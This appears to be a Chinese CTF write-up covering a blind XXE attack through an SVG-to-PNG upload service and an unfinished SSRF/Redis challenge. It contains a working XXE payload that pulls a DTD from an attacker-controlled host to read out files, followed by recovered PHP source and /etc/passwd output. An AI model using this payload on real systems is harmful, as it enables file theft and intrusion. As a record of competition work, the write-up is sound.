1. 程式人生 > 實用技巧 >記一次爆0的CTF

記一次爆0的CTF

前言

打小型CTF比賽的時候遇到的CTF題目,解析SVG影象觸發XXE,比較新穎,第一次見,於是記錄下

XXE

進入題目發現就是一個檔案上傳功能,並且題意是將SVG影象轉化為PNG影象的測試站點

然後檢視原始碼發現了有php程式碼的註釋

看到過濾了php://,並且有個$this->svg_contents猜測是XXE,網上能找到的比較少,大多是水文,很難受,翻了好久終於翻到類似的CTF題目

於是參考文章連結來個Blind XXE,因為頁面時沒有回顯的,因此用Blind XXE,雖然過濾了php://,但是如果寫在伺服器上的xml或者dtd一樣可以繞過去

payload:

<!DOCTYPE svg [
<!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://vsp_ip:port/xxe.xml"> %sp; %param1; ]> <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> <flowRoot font-size="15"> <flowRegion> <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot> </svg>

伺服器上的xxe.xml是這樣的

BP跑一下,獲得了upload_svg.php的base64編碼後的原始碼

解密為

<?php
error_reporting(0);
session_start();
require_once("config/svg_config.php");
date_default_timezone_set('PRC'); 

if(isset($_POST['id']) and isset($_FILES['svg']) and isset($_POST['timestamp'])){
    try{

        $svg_load
= new svg_load($_FILES['svg']['tmp_name'],$_FILES['svg']['name'],$_POST['timestamp'],$_POST['id']); $svg_load->filter = new filter(file_get_contents($_FILES['svg']['tmp_name'])); $svg_load->action(); header("Content-Type: text/json"); echo json_encode( array( 'status' => 'success', 'contents' => "{$svg_load}" ) ); } catch(Exception $e){ die($e->getMessage()); } } ?>

修改xxe.xml讀取config/svg_config.php,重新監聽,BP發包

解密得到

<?php
require_once('SVG.php');
require_once('filter.php');

$_SESSION['key'] = !isset($_SESSION['key']) ? md5(session_id()) : $_SESSION['key'] ;

class svg_load{

    private $tmp_file; 
    private $svg_file;
    private $svg_image;

    private function save(){
        
        return $this->filter->check($this->tmp_file) and move_uploaded_file($this->tmp_file,$this->svg_file);
    }


    private function load()
    {
        if($this->filter->check($this->svg_file) === true){

            $this->svg = new svg_(file_get_contents($this->svg_file));
            $this->svg_image = (string)$this->svg;

        }else{

            $this->svg_image='null';

            throw new Exception("哦,你瞧這個糟糕的內容,你在想什麼呢!");
        }

        return $this->svg_image;
    }
    
    public function action(){
        
        try{
            
            $this->save();
            $this->load();

        }catch(Exception $e){

            $this->error = $e->getMessage();
        }
    }

    public function __construct($tmp_file,$name,$timestamp,$id)
    {        
            $info = pathinfo($name);
            if($info['extension'] === 'svg')
            {

                $this->svg_file = __DIR__."/images/svg/".base64_encode($id).'.'.$info['filename'].'.'.base64_encode($timestamp.hash('sha256',$timestamp.$_SESSION['key'])).'.svg';
                $this->tmp_file = $tmp_file;
                
            }else{
            
                $this->error = "不要總是傳奇奇怪怪的檔案啊";
            }
    }

    public function __toString()
    {
        return !isset($this->error) ? base64_encode(!$this->svg_image ? $this->load() : $this->svg_image ) : $this->error;
    }

    public function __destruct()
    {    
        unlink($this->svg_file);
    }

}

把包含的檔案都讀一下

SVG.php

<?php
class svg_{
    
    private $svg_contents;
    private $svg_image;

    private function load(){
    
        $XML = new DOMDocument();
        $XML->loadXML($this->svg_contents,0x06);
        

        if($img = simplexml_import_dom($XML))
        {

                $attr = $img->svg->attributes();

                $height = (int)$attr['height'] > 850 ? 850 : (int)$attr['height'];
                $width = (int)$attr['width'] > 1000 ? 1000 : (int)$attr['width'];
            

                $tmp_file = '/tmp/'.sha1(md5(uniqid(microtime(true), true)));

                file_put_contents($tmp_file,$this->svg_contents);
                exec("convert -resize {$width}x{$height}! {$tmp_file} {$tmp_file}.png ");
                $this->svg_image = file_get_contents($tmp_file.'.png');

                unlink($tmp_file.'.png');
                unlink($tmp_file);

        }else{
            $this->svg_image = false;
        }

    }

    public function __construct($svg_contents='')
    {
        $this->svg_contents = $svg_contents;
        $this->load(); 
    }

    public function __toString(){

        return !$this->svg_image ? 'null' : $this->svg_image;
    }

}
?>

filter.php

<?php
class filter{

    public $svg_contents;
    
    public function clean(){
     
     if(preg_match('/php:\/\//im',$this->svg_contents)){
     
            $this->svg_contents='no!';
        }
    
    }
    
    public function check($file){
        
        $this->clean();
        return hash('sha256',md5($this->svg_contents,true),true) === hash('sha256',md5_file($file,true),true);
    }

    public function __construct($contents='')
    {
        $this->svg_contents = is_string($contents) ? $contents : '';
        
        $this->clean();
        
    }

}
?>

 

問題來了,找不到flag了

讀了一下/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
Debian-exim:x:102:103::/var/spool/exim4:/usr/sbin/nologin

翻不到./flag,./flag.txt,/flag /flag.txt

最後實在沒翻到,心態炸了。

SSRF

原始碼如下:

<?php 
$url = $_GET['url'];
if(!isset($url)){
    highlight_file(__FILE__);
}
if(stripos($url,'file')!==False)
{
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
?>

過濾了file協議,讀不了東西,沒有flag.php,gopher構造http協議也打不到,一頭霧水,upload目錄裡沒有東西

然後公告上給了個hint,可以打redis,redis是弱密碼。emmmm,時間到了,我也沒去搞,一直在搞XXE的。掏出來之前雖然看了但是沒有實踐的文章

=>

淺析SSRF認證攻擊Redis